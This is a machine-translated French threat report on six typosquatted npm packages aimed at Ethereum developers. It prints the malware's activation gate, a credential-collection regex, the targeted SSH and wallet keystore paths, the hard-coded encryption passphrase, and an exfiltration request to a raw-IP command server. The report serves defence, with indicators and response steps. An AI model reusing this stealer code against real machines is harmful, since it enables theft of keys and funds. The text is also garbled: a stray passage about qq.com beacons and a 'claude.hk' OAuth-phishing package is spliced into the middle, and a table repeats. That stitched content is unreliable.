TL; DR
Le 6 mai 2026, un seul éditeur npm, namikazesarada010206, ont diffusé six paquets malveillants ciblant l'écosystème des développeurs Ethereum, Solidity et DeFi.
Les colis, viem-core, viem-utils-core, hardhat-core-utils, evm-utils, foundry-utils, ainsi web3-utils-core, ont utilisé des noms plausibles conçus pour ressembler à des bibliothèques d'assistance pour les outils Web3 populaires.
Les six paquets contenaient tous la même chose telemetry.js Le fichier était identique octet par octet sur l'ensemble du cluster, avec un SHA-256 :
Le logiciel malveillant ne s'exécute pas lors de l'installation. Il n'y a pas de preinstall or postinstall Il s'active plutôt lorsque le package est importé via un hook. require().
Ce détail compte.
Le programme attend qu'un développeur utilise effectivement le package. Il vérifie ensuite si le poste de travail correspond à un véritable environnement de développement Ethereum/Solidity. Il recherche des clés Alchemy ou Infura, des clés privées, des phrases mnémoniques, des clés de déploiement ou un répertoire Foundry local.
Si l'hôte correspond, le voleur récupère les clés privées SSH, les keystores des portefeuilles Foundry / Geth / Brownie, .env* Il chiffre les fichiers et les variables d'environnement sensibles. Le paquet est chiffré avec AES-256-GCM à l'aide d'une phrase de passe codée en dur et exfiltré vers un point de terminaison C2 IPv4 brut avec vérification TLS désactivée.
Le système d'alerte précoce aux logiciels malveillants (MEW) de Xygeni a confirmé que les six paquets étaient malveillants. Le rapport de retrait du registre npm est en cours d'instruction.
Le Cluster : Six paquets, un éditeur
Le compte de l'éditeur namikazesarada010206 était lié à l'adresse Gmail non vérifiée namikazesarada010206@gmail.com.
La campagne a été lancée sous la forme d'une publication unique le 6 mai 2026. Les six packs ont été déclinés en plusieurs versions. 1.0.0, ne comportait aucune dépendance d'exécution et ne distribuait que trois fichiers :
package.json
index.js
telemetry.jsIls ont également déclaré le même dépôt source :
https://github.com/harunosakura030303-maker/evmchain-configLes trois premiers paquets ont été détectés par les scanners MEW dès leur première publication. Les trois autres ont été signalés de force après examen du profil npm de l'éditeur par un analyste. Une fois que le même paquet contenant des octets identiques telemetry.js La présence de ces menaces ayant été confirmée dans l'ensemble du groupe, elles ont été classées comme malveillantes par cohérence.
| Forfait | Version | npm publié | Billet MEW | Verdict |
|---|---|---|---|---|
| viem-core | 1.0.0 | 2026-05-06 01:38:44Z | #51049 | Malveillant |
| viem-utils-core | 1.0.0 | 2026-05-06 | #51050 | Malveillant |
| utilitaires de base du casque de chantier | 1.0.0 | 2026-05-06 | #51051 | Malveillant |
| evm-utils | 1.0.0 | 2026-05-06 | #51069 | Malveillant, par cohérence |
| utilitaires de fonderie | 1.0.0 | 2026-05-06 | #51071 | Malveillant, par cohérence |
| web3-utils-core | 1.0.0 | 2026-05-06 | #51070 | Malveillant, par cohérence |
La stratégie de dénomination est simple mais efficace.
Ces paquets n'imitent pas les noms exacts des paquets en amont. Ils utilisent plutôt des suffixes « utilitaires » plausibles tels que : -core, -utils, ainsi -utils-coreCela leur donne l'apparence de bibliothèques complémentaires qu'un développeur pourrait s'attendre à trouver à proximité des outils Web3.
| Colis malveillant | Cible légitime |
|---|---|
| viem-core | viem, un client Ethereum TypeScript populaire |
| viem-utils-core | viem |
| utilitaires de base du casque de chantier | hardhat, un environnement de développement Solidity courant |
| evm-utils | Espace de noms générique pour les outils EVM |
| utilitaires de fonderie | fonderie, une chaîne d'outils Solidity |
| web3-utils-core | web3-utils, assistants Web3.js |
Il s'agit du modèle du « package complémentaire » : non pas « Je suis le package principal », mais « Je ressemble à une aide raisonnable autour du package principal ».
Pour les développeurs DeFi qui évoluent rapidement, cela suffit à créer des risques.
Que se passe-t-il lorsque le colis est importé ?
La chaîne d'attaque est restreinte, délibérée et ciblée sur les environnements de développement de cryptomonnaies.
Il n'y a pas de programme d'installation. En revanche, chaque paquet comprend un index.js qui exporte des fonctionnalités stub puis charge le module de télémétrie malveillant.
require('./telemetry').init();Cela signifie que le logiciel malveillant s'active dès la première importation.
Cela s'avère utile à l'attaquant sur le plan opérationnel. De nombreux scanners et environnements de test se concentrent sur le comportement lors de l'installation. Ce paquet attend d'être utilisé par un développeur, un script de compilation, une suite de tests ou un chemin d'exécution.
Portail d'activation : Déclenchement uniquement sur les véritables postes de travail de développeurs Web3
L'élément le plus important de l'implant est la porte d'activation.
Le logiciel malveillant recherche des variables d'environnement couramment présentes sur les machines des développeurs Ethereum/Solidity :
const indicators = [
process.env.ALCHEMY_API_KEY,
process.env.INFURA_KEY,
process.env.PRIVATE_KEY,
process.env.MNEMONIC,
process.env.DEPLOYER_KEY,
].filter(Boolean);Il vérifie également si Foundry semble être installé :
fs.existsSync(path.join(os.homedir(), '.foundry'))Si aucune des deux conditions n'est vraie, la fonction se termine et ne fait rien.
Cela rend le paquet plus discret dans les environnements d'analyse génériques. Un environnement de test sans clés Foundry, Alchemy, Infura, clés privées ni mnémoniques pourrait détecter une importation d'apparence inoffensive.
Sur un hôte correspondant, le logiciel malveillant attend entre 60 et 90 secondes avant de procéder à la collecte :
setTimeout(() => { try { _collect(); } catch {} },
60000 + Math.random() * 30000).unref();Ce délai réduit la corrélation évidente entre importation et exfiltration. .unref() L'appel permet également au processus hôte de se terminer normalement si le package a été importé dans un script éphémère.
Il ne s'agit pas d'un vol de données bruyant et agressif. C'est un voleur ciblé, conçu pour éviter de s'exécuter sauf si l'environnement de développement présente un intérêt certain.
Ce que le voleur récupère
Une fois le seuil d'activation franchi, le logiciel malveillant collecte des données à partir des sources les plus importantes dans le développement Web3 : clés privées, magasins de clés de portefeuille, informations d'identification de déploiement, secrets du cloud, jetons npm et configuration du projet local.
| Matériau | Ce qui est collecté |
|---|---|
| processus.env | Toute variable correspondant à /TOKEN|SECRET|KEY|PASS|AUTH|PRIVATE|SEED|MNEMONIC|AWS|NPM|DEPLOY/i |
| ~/.ssh/* | Fichiers contenant PRIVATE KEY ou BEGIN OPENSSH, y compris le contenu complet du fichier |
| ~/.foundry/keystores/* | Fichiers de clés du portefeuille Foundry |
| ~/.ethereum/keystore/* | Fichiers de clés du portefeuille Geth |
| ~/.brownie/comptes/* | Fichiers clés du portefeuille Brownie |
| ${cwd}/.env | Contenu complet du fichier |
| ${cwd}/.env.local | Contenu complet du fichier |
| ${cwd}/.env.production | Contenu complet du fichier |
| ${cwd}/.env.development | Contenu complet du fichier |
| os.hostname() | Métadonnées de l'hôte |
| crypto.UUID aléatoire() | Identifiant de la victime/de la session |
| Date.maintenant() | Horodatage de la collecte |
otheve.beacon.qq.com
oth.str.beacon.qq.com
h.trace.qq.comLes jetons ATTA sont :
ATTA_ID 00400014144
ATTA_TOKEN 6478159937Nous n'avons pas pu confirmer si les données de télémétrie provenaient des analyses propres à l'opérateur ou d'un canal monétisé séparément. Les jetons ATTA sont identiques dans les deux échantillons analysés.
Groupe B : heibai
claude.hk : hameçonnage OAuth + détournement d'URL de base anthropique
L'échantillon du 1er avril représente la phase la plus rudimentaire et la plus ancienne de la campagne.
heibai:2.1.88-claude.hk-4 a été publié par wuguoqiangvip28, un compte créé le 7 juin 2025. Le paquet s'est explicitement versionné par rapport à la version légitime. 2.1.88 Libération anthropique.
Il ne se préoccupe pas des attaques MITM via certificat d'autorité de certification. Au lieu de cela, il ment à l'utilisateur concernant le point de terminaison OAuth.
Les ajouts malveillants au code source de Claude qui a fuité comprennent :
| Matériau | Ce qui est collecté |
|---|---|
| processus.env | Toute variable correspondant à /TOKEN|SECRET|KEY|PASS|AUTH|PRIVATE|SEED|MNEMONIC|AWS|NPM|DEPLOY/i |
| ~/.ssh/* | Fichiers contenant PRIVATE KEY ou BEGIN OPENSSH, y compris le contenu complet du fichier |
| ~/.foundry/keystores/* | Fichiers de clés du portefeuille Foundry |
| ~/.ethereum/keystore/* | Fichiers de clés du portefeuille Geth |
| ~/.brownie/comptes/* | Fichiers clés du portefeuille Brownie |
| ${cwd}/.env | Contenu complet du fichier |
| ${cwd}/.env.local | Contenu complet du fichier |
| ${cwd}/.env.production | Contenu complet du fichier |
| ${cwd}/.env.development | Contenu complet du fichier |
| os.hostname() | Métadonnées de l'hôte |
| crypto.UUID aléatoire() | Identifiant de la victime/de la session |
| Date.maintenant() | Horodatage de la collecte |
La liste des cibles est très spécifique. Il ne s'agit pas d'un vol de navigateur générique ni d'une extraction massive d'identifiants. Cette attaque vise les développeurs qui conçoivent, testent, déploient ou exploitent des applications Ethereum.
L'inclusion des keystores Foundry, Geth et Brownie est particulièrement importante. Ces fichiers peuvent donner un accès direct aux portefeuilles ou aux identités de déploiement. Si un attaquant parvient à les associer à des mots de passe, des phrases mnémoniques ou des secrets d'environnement, il pourrait être en mesure de transférer des fonds, d'usurper l'identité des déployeurs ou de compromettre le fonctionnement des contrats intelligents.
Chiffrement avant exfiltration
Le logiciel malveillant crypte les données collectées avant de les envoyer.
const key = crypto.createHash('sha256').update(K).digest();
const iv = crypto.randomBytes(12);
const cipher = crypto.createCipheriv('aes-256-gcm', key, iv);La phrase de passe codée en dur est :
a]3Fk9$mP2xL7vQ8nR4wJ6yB0tH5cE1dLa charge utile finale est encapsulée au format JSON :
{"v":2,"iv":"<base64>","d":"<base64-ciphertext>","t":"<base64-gcm-tag>"}Le chiffrement ne rend pas le logiciel malveillant plus sophistiqué en soi. Cependant, il complique l'inspection du réseau. Un défenseur surveillant les données sortantes verrait une charge utile JSON, mais pas les clés volées, les fichiers de portefeuille, ni les données. .env contenu sans la phrase de passe codée en dur ni la logique de décryptage.
Exfiltration vers un serveur C2 IPv4 brut
Le chemin d'exfiltration est codé en dur :
const req = https.request({
hostname: '76.13.37.80', port: 8443,
path: '/api/v1/telemetry', method: 'POST',
headers: { 'Content-Type': 'application/json', ... },
rejectUnauthorized: false, timeout: 8000,
}, () => {});Le logiciel malveillant envoie des données à :
https://76.13.37.80:8443/api/v1/telemetryDeux détails ressortent.
Premièrement, l'adresse C2 est une adresse IPv4 brute et non un nom de domaine. Cela élimine la nécessité d'enregistrer un nom de domaine et évite certaines détections basées sur le nom de domaine.
Deuxièmement, la vérification TLS est désactivée avec :
rejectUnauthorized: falseCela permet au logiciel malveillant d'accepter n'importe quel certificat, y compris les certificats auto-signés. Autrement dit, l'attaquant bénéficie d'un transport chiffré sans avoir besoin d'un certificat public valide.
Il n'y a pas de mécanisme de nouvelle tentative ni de serveur de secours. Les erreurs sont ignorées. Ainsi, le système reste silencieux si le serveur de commande et de contrôle est hors ligne ou inaccessible.
Pourquoi cette campagne est importante
La plupart des packages npm malveillants destinés aux développeurs recherchent des identifiants généraux : jetons npm, clés AWS, jetons GitHub, ou .npmrc fichiers.
Cette campagne cible plus précisément.
Il recherche des signes indiquant que la machine appartient à un développeur Ethereum ou Solidity. Ensuite, il récupère précisément les ressources nécessaires à cet environnement : portefeuilles de clés, clés privées, phrases mnémoniques, clés de déploiement, .env fichiers et clés SSH.
Cela rend cette campagne plus dangereuse pour les équipes Web3 qu'un voleur de npm générique.
Une infection réussie pourrait exposer :
- Portefeuilles de déploiement
- Clés d'administration du contrat intelligent
- clés du fournisseur RPC
- Identifiants de déploiement cloud
- jetons de publication npm
- Accès SSH à l'infrastructure de développement ou de construction
- Les secrets du projet sont stockés dans
.envfichiers - Cartes de clés de portefeuille pour Foundry, Geth ou Brownie
Les noms des paquets révèlent également une ingénierie sociale manifeste. Ils ciblent l'écosystème des développeurs Web3 en utilisant des noms d'outils familiers : viem, hardhat, foundry, evm, ainsi web3.
L'acteur n'a pas besoin de compromettre ses projets réels. Il lui suffit qu'un développeur installe ce qui semble être un logiciel complémentaire approprié.
Indicateurs de compromission et de détection
| Packages et éditeur | |
|---|---|
| Champ | Valeur |
| éditeur npm | namikazesarada010206 |
| Courriel de l'éditeur | namikazesarada010206@gmail.com |
| Email verifié | Non |
| SCM vérifié | Non |
| Le score de réputation | 1.0 |
| Packs | viem-core, viem-utils-core, hardhat-core-utils, evm-utils, fonderie-utils, web3-utils-core |
| versions | Tous 1.0.0 |
| Dépôt source | https://github.com/harunosakura030303-maker/evmchain-config |
| Malveillance confirmée | Les six paquets |
| Réseau | |
|---|---|
| Type | Valeur |
| Point final C2 | https://76.13.37.80:8443/api/v1/telemetry |
| C2 IP | 76.13.37.80 |
| Port C2 | 8443 / TCP |
| Comportement TLS | rejetNon autorisé : faux |
| schéma de charge utile | {"v":2,"iv": ,"d": ,"t": } |
| Fichiers et hachages | |
|---|---|
| Type | Valeur |
| telemetry.js SHA-256 | 71426e93cb6143052d5aeeca920850f8a0343c95bc65aab9a15145848cc5bff1 |
| disposition du paquet | package.json, index.js, telemetry.js |
| Nombre de fichiers | 3 |
| Taille totale approximative | 3.4 KB |
Signaux d'activation
Le logiciel malveillant vérifie les variables d'environnement suivantes :
ALCHEMY_API_KEY
INFURA_KEY
PRIVATE_KEY
MNEMONIC
DEPLOYER_KEYIl vérifie également :
~/.foundry/Chemins hôtes ciblés
~/.ssh/*
~/.foundry/keystores/*
~/.ethereum/keystore/*
~/.brownie/accounts/*
${cwd}/.env
${cwd}/.env.local
${cwd}/.env.production
${cwd}/.env.developmentCollection Regex
/TOKEN|SECRET|KEY|PASS|AUTH|PRIVATE|SEED|MNEMONIC|AWS|NPM|DEPLOY/iNotes de détection
Plusieurs règles permettent de déceler cette campagne sans nécessiter une analyse comportementale complète.
Commencez par analyser les fichiers de verrouillage à la recherche des six noms de paquets malveillants :
viem-core
viem-utils-core
hardhat-core-utils
evm-utils
foundry-utils
web3-utils-coreN'importe quel match dans package-lock.json, yarn.lock, pnpm-lock.yaml, node_modules L'histoire doit être traitée comme un incident grave.
Deuxièmement, surveillez les processus Node.js qui lisent les chemins d'accès aux fichiers de clés du portefeuille :
~/.foundry/keystores/
~/.ethereum/keystore/
~/.brownie/accounts/Ce comportement est rarement légitime pour un paquet importé comme dépendance auxiliaire. Il est particulièrement suspect lorsqu'il est suivi d'une activité réseau sortante.
Troisièmement, bloquer ou signaler les connexions HTTPS vers :
76.13.37.80:8443Surtout lorsque le chemin de la requête est :
/api/v1/telemetryQuatrièmement, recherchez les packages npm qui combinent ces caractéristiques :
- Éditeur récent ou de faible réputation
- Compte Gmail non vérifié
- Nom du paquet adjacent à Web3
- Aucun historique de dépôt significatif
- Mise en page du petit paquet
index.jsqui charge un fichier de télémétrie ou d'assistance- Aucune dépendance d'exécution
- Collecte de variables environnementales sensibles
- Accès au magasin de clés du portefeuille
Ce modèle est plus utile qu'un seul indicateur de compromission (IOC) car le paquet suivant peut changer l'adresse IP tout en conservant la même logique de ciblage.
Liste de contrôle des réponses aux compromis
Si un développeur a utilisé l'un des six packages et que son environnement correspond au seuil d'activation, considérez le poste de travail comme compromis.
Cela inclut les machines sur lesquelles Foundry est installé, les clés Alchemy ou Infura dans l'environnement, les clés privées, les mnémoniques ou les clés de déploiement.
Réponse recommandée :
- Déconnectez l'hôte du réseau.
- Préserver
node_modules, les fichiers de verrouillage, l'historique des commandes et les journaux pertinents pour l'analyse forensique. - Faites tourner chaque paire de clés SSH sous
~/.ssh/. - Faites tourner les clés de portefeuille pour chaque magasin de clés sous
~/.foundry,~/.ethereum, ainsi~/.brownie. - Transférez les fonds vers de nouveaux portefeuilles.
- Faites tourner tous les secrets stockés dans
.env*fichiers dans les dépôts sur lesquels travaillait le développeur. - Rotation des secrets d'environnement correspondant à l'expression régulière de la collection, y compris les clés AWS, les jetons npm, les jetons de déploiement, les clés API, les clés privées, les graines et les mnémoniques.
- Audit de l'activité cloud, npm, GitHub, du fournisseur RPC et de la blockchain depuis la première installation du package.
- Réinstallez le système d'exploitation du poste de travail avant de le réutiliser.
Ce que les défenseurs devraient retenir
Cette campagne montre comment le typosquatting sur npm évolue autour des écosystèmes de développeurs à forte valeur ajoutée.
L'acteur n'avait pas besoin de persistance. Il n'avait pas besoin d'obfuscation. Il n'avait même pas besoin d'exécution lors de l'installation.
Ils se sont plutôt appuyés sur trois choses :
- Noms de paquets Web3 plausibles
- Activation uniquement sur de véritables machines de développement de cryptomonnaies
- Vol direct des fichiers et des secrets les plus importants pour les développeurs d'Ethereum
Cela rend la campagne facile à manquer lors d'une analyse approfondie et dangereuse lorsqu'elle se déploie dans le bon environnement.
Pour les équipes Web3, la leçon est claire : il faut considérer les noms des dépendances comme faisant partie intégrante de l’analyse des menaces. Un paquetage qui semble anodin peut en réalité devenir la voie la plus rapide vers une compromission financière.
Signalé au registre npm. Nous mettrons à jour cet article dès que le compte éditeur et les paquets seront supprimés.
